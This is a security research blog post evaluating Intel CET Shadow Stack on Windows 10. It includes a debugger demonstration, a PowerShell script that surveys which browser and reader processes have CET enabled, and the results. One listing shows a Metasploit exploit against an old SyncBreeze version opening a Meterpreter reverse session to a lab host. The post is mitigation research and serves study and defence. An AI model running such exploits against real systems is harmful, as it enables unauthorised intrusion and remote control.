Intel CET In Action

Intel CET In Action

As part of our continuous update cycles for our Advanced Windows Exploitation (AWE) class, we examine each new security mitigation and ensure we understand how it works and how it can be bypassed.

Some of the research we have performed for our upcoming updates focus on the Control-flow Enforcement Technology (CET) mitigation developed by Intel. One of the reasons we wanted to investigate Intel CET is because it has been labeled as “the end” of ROP and stack based buffer overflow vulnerabilities.

Today, most exploits against both server-side and client-side applications make use of return oriented programming (ROP) as part of the exploitation process.

At the time of this writing, it has been roughly six months since Intel CET’s release. In this blog, we’ll examine how effective Intel CET is at mitigating real-world exploits that make use of ROP or stack based buffer overflow vulnerabilities.

Intel Control-flow Enforcement Technology

Let’s begin by noting some previous research on exactly how CET is implemented in Windows[cet1][cet2]. We’ll take a less academic approach in this blog, exploring where and how CET should intervene to stop exploits.

Although Intel CET was developed as a hardware-assisted mitigation, it must be facilitated in the software. CET has two components: the first, called Indirect Branch Tracking (IBT), aims to protect against vtable overwrites. Microsoft decided not to make use of IBT in Windows 10, instead relying on Control Flow Guard and the upcoming eXtended Flow Guard.

The second component, called Shadow Stack, is designed to stop attackers from modifying return addresses on the stack. During a stack based buffer overflow, most exploits modify return addresses on the stack to overwrite EIP or RIP. The ROP technique also depends on invoking return addresses on the stack, so Shadow Stack aims to block this as well.

To show how Shadow Stack works in practice, we first set up a computer with an 11th-generation Intel CPU and installed WinDBG. We then attached to an application protected by CET and modified the return address on the stack:

(3208.58f8): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ff9`57ad0700 cc int 3
0:018> k
# Child-SP RetAddr Call Site
00 000000e4`e4fffca8 00007ff9`57afc84e ntdll!DbgBreakPoint
01 000000e4`e4fffcb0 00007ff9`55b47034 ntdll!DbgUiRemoteBreakin+0x4e
02 000000e4`e4fffce0 00007ff9`57a82651 KERNEL32!BaseThreadInitThunk+0x14
03 000000e4`e4fffd10 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:018> dqs @rsp L1
000000e4`e4fffca8 00007ff9`57afc84e ntdll!DbgUiRemoteBreakin+0x4e
0:018> eq 000000e4`e4fffca8 414141414141
0:018> k
# Child-SP RetAddr Call Site
00 000000e4`e4fffca8 00004141`41414141 ntdll!DbgBreakPoint
01 000000e4`e4fffcb0 00000000`00000000 0x00004141`41414141
0:018> p
ntdll!DbgBreakPoint+0x1:
00007ff9`57ad0701 c3 ret
0:018> p
(3208.58f8): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
Subcode: 0x39 FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS Shadow stack violation
ntdll!DbgBreakPoint+0x1:
00007ff9`57ad0701 c3 ret

Listing – Shadow Stack in action

Once the return address on the stack has been tampered with and invoked, an exception called FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS is thrown. This will crash the application and interrupt the exploit.

As the concept of return address overwrite is very similar to how a ROP chain is executed, CET will also detect and defeat the use of ROP gadgets.

So far, the theory and years of discussion about CET’s efficacy seem to hold true. Next, let’s examine how widely it’s used on Windows 10, and how is it enabled for a given process.

Is This On?

To determine the actual usage of Intel CET, we first need to understand more about how it’s invoked. Let’s examine a few mainstream applications that are typically the target of exploit attempts and figure out which employ CET.

Windows 10 has supported CET starting at version 19H1, released even before 11th-generation Intel CPUs were sold. It seems less widely known that CET is not turned on system-wide for the OS; instead, an opt-in policy requires each application to request it.

An application can request CET by specifying the /CETCOMPAT flag1 in Visual Studio 2019 at compilation time. In compiled applications, this will be visible from the IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT2 field in the extended DLL Characteristics of the Debug Section in the binary.

Applications compiled without Intel CET support can also be configured to use it through the Win32 API SetProcessMitigationPolicy3 and the ProcessUserShadowStackPolicy flag.

Finally, it’s important to know that Shadow Stack is not supported on Windows for 32-bit or WoW64 processes4, even on Windows 10 20H2.

Now that we better understand how CET and Shadow Stack stop stack buffer overflow exploits and the use of ROP, as well as how CET is enabled, we need to determine which applications make use of it.

Exploits that leverage ROP or stack based buffer overflows typically focus on binary server-side applications running on a server, or on client-side applications on a desktop.

Some prime client-side applications targeted for exploit development over the last decade have been web browsers, PDF readers and, to some extent, Office applications.

To determine the real-world coverage of CET in mainstream applications, we set up a fully-updated laptop in April 2021 running Windows 10 20H2, and installed the newest or, in some cases, even beta versions of multiple web browsers, as follows:

  • Google Chrome – version 90
  • Microsoft Edge Chromium – version 90
  • FireFox – version 89
  • Opera – version 90
  • Tor – version 10

We also installed fully-updated versions of Adobe Acrobat Reader DC 2021 and Microsoft Office 365.

Most of the applications listed above are each compromised of multiple processes. We can determine if CET is active for each of them by using the Win32 API GetProcessMitigationPolicy5 through its PowerShell wrapper Get-ProcessMitigation6.

We created a short script to detect all processes using CET:

$procs = Get-Process
foreach ($proc in $procs)
{
try
{
$mitigations = Get-ProcessMitigation -Id $proc.Id
foreach ($mitigation in $mitigations)
{
if($mitigation.UserShadowStack.UserShadowStack -eq "ON")
{
Write-Host "Process name is: $($mitigation.ProcessName)"
Write-Host "ShadowStack is: $($mitigation.UserShadowStack.UserShadowStack)"
$cmdline = (Get-CimInstance Win32_Process -Filter "ProcessId = $($proc.Id)").CommandLine
if($cmdline -like "*--type=*")
{
$type = ((($cmdline -split "--type=")[1]) -split (" "))[0]
Write-Host "App type is: $type"
}
Write-Host ""
}
else
{
$cmdline = (Get-CimInstance Win32_Process -Filter "ProcessId = $($proc.Id)").CommandLine
if($cmdline -like "*--type=*")
{
$type = ((($cmdline -split "--type=")[1]) -split (" "))[0]
if($type -eq "renderer")
{
Write-Host "Process name is: $($mitigation.ProcessName)"
Write-Host "ShadowStack is: $($mitigation.UserShadowStack.UserShadowStack)"
Write-Host "App type is: $type"
Write-Host ""
}
}
}
}
}
catch
{
}
}

Listing – PowerShell script to enumerate CET usage

For each process, we also use WMI through the cmdlet Get-CimInstance7 to detect which command line arguments were used to create the process.

Based on the command line arguments, we’ll search for an entry called “–type=”, since this often reveals the process’ functionality.

There is a special command line entry type called “renderer” which we will more closely examine. When we attempt to exploit a vulnerability in a web browser or PDF reader it is typically performed through use of scripting code like JavaScript.

These exploits target the “renderer” process, which parses and handles the scripting code. Because of this, we’ve created an “else” clause for processes that do not have CET enabled, but are of type “renderer”.

Shown below are the results from executing our PowerShell script when all of the applications previously mentioned are running.

PS C:\> .\cetenum.ps1
Process name is: AcroRd32
ShadowStack is: OFF
App type is: renderer

Process name is: chrome
ShadowStack is: OFF
App type is: renderer

Process name is: chrome
ShadowStack is: ON
App type is: gpu-process

Process name is: chrome
ShadowStack is: ON
App type is: utility

Process name is: chrome
ShadowStack is: ON
App type is: crashpad-handler

Process name is: conhost
ShadowStack is: ON

Process name is: msedge
ShadowStack is: ON
App type is: crashpad-handler

Process name is: msedge
ShadowStack is: OFF
App type is: renderer

Process name is: msedge
ShadowStack is: ON
App type is: gpu-process

Process name is: msedge
ShadowStack is: ON
App type is: utility

Process name is: opera
ShadowStack is: ON
App type is: utility

Process name is: opera
ShadowStack is: OFF
App type is: renderer

Process name is: opera
ShadowStack is: ON
App type is: gpu-process

Process name is: opera_crashreporter
ShadowStack is: ON
App type is: crashpad-handler

Listing – Processes protected by CET

The output list above shows that the only applications protected by CET are Google Chrome, Microsoft Edge Chromium, and Opera. It is worth noting that these three browsers are all based on the Chromium framework, which has mentioned that CET will be supported from version 90.

Neither FireFox, Tor, Adobe Acrobat Reader, nor Microsoft Office 365 make use of CET. Note that some SYSTEM processes, like LSASS and svchost, do in fact have CET enabled.

It’s also interesting that the Chromium-based browsers do not have CET enabled for the renderer process, the functionality which will be targeted by the vast majority of exploits for these browsers. Even for the web browsers that support CET, it is effectively inactive in regards to exploitation attempts.

What About Old Software?

While the usage of CET is limited at best on client-side applications, it would also be interesting to investigate whether CET protects server-side software and older applications.

As previously noted, CET only helps mitigate exploits if it is compiled into the application or specifically enabled. As a result, very few server-side enterprise application portfolios are likely to be protected, thus CET having no effect on current and older software.

To perform a simple test, we installed an older version of SyncBreeze that contains a stack based buffer overflow vulnerability on a Windows 10 laptop.

If CET were enabled, this vulnerability would be unexploitable. However, since the older version of SyncBreeze was compiled without the /CETCOMPAT flag, we can use the existing Metasploit exploit without any issues:

msf6 exploit(windows/http/syncbreeze_bof) > exploit

[*] Started HTTP reverse handler on http://192.168.7.159:8080
[*] Target manually set as Sync Breeze Enterprise v10.0.28
[*] Sending request...
[*] http://192.168.7.159:8080 handling request from 192.168.7.165; (UUID: gv0fywgn) Staging x86 payload (176220 bytes) ...
[*] Meterpreter session 1 opened (192.168.7.159:8080 -> 192.168.7.165:49858) at 2021-04-16 05:47:05 -0400

meterpreter >

Listing – Exploiting SyncBreeze with Metasploit

The results of the above exploit attempt are not surprising, but they highlight the fact that for software compiled without the /CETCOMPAT flag, an 11th-generation CPU does not provide any additional security features.

Going Forward – Security Implications

As detailed in this blog post, Intel has provided a very formidable exploit mitigation with CET, but the notion that stack based buffer overflows and the ROP technique are no longer relevant is false.

To make use of Shadow Stack, Windows requires an 11th-generation Intel CPU or an AMD Ryzen 5000-series CPU, which will not be commonplace for several years. For desktops and laptops, Windows 10 update 19H1 or newer is required to enable CET support; for servers, it’s supported on Windows Server 2019.

Given both the hardware and OS upgrades needed for CET to work, there are currently no mainstream applications that support CET in situations where exploit attempts are likely to occur. We should also keep in mind that 32-bit applications are not supported at all.

While the 11th-generation Intel CPUs have only been out for 6 months and certainly adaptation on the software side will follow over the years, it should be clear that the idea that CET has already eliminated the threat of stack based buffer overflows or killed the ROP exploitation technique is simply not true.

Meanwhile, techniques for bypassing CET are currently being developed by security researchers – however, we believe that it will take a few years for this research to become relevant in real world exploits.

References
  1. (Yarden Shafir and Alex Ionescu, 2020): https://windows-internals.com/cet-on-windows/
  2. (Yarden Shafir, 2020): https://windows-internals.com/cet-updates-cet-on-xanax/ [1]
  3. (Microsoft, 2020): https://docs.microsoft.com/en-us/cpp/build/reference/cetcompat?view=msvc-160
  4. (Microsoft, 2021): https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#extended-dll-characteristics [2]
  5. (Microsoft, 2018): https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy [3]
  6. (Microsoft, 2021): https://techcommunity.microsoft.com/t5/windows-kernel-internals/developer-guidance-for-hardware-enforced-stack-protection/ba-p/2163340 [4]
  7. (Microsoft, 2018): https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getprocessmitigationpolicy [5]
  8. (Microsoft, 2021): https://docs.microsoft.com/en-us/powershell/module/processmitigations/get-processmitigation?view=windowsserver2019-ps [6]
  9. (Microsoft, 2021): https://docs.microsoft.com/en-us/powershell/module/cimcmdlets/get-ciminstance?view=powershell-7.1 [7]

About the Author

Morten Schenk is content developer and trainer at Offensive Security with a focus on exploit development and mitigation bypasses on Windows. Morten loves to build exploits against difficult targets and continuously discover new techniques to combat mitigations.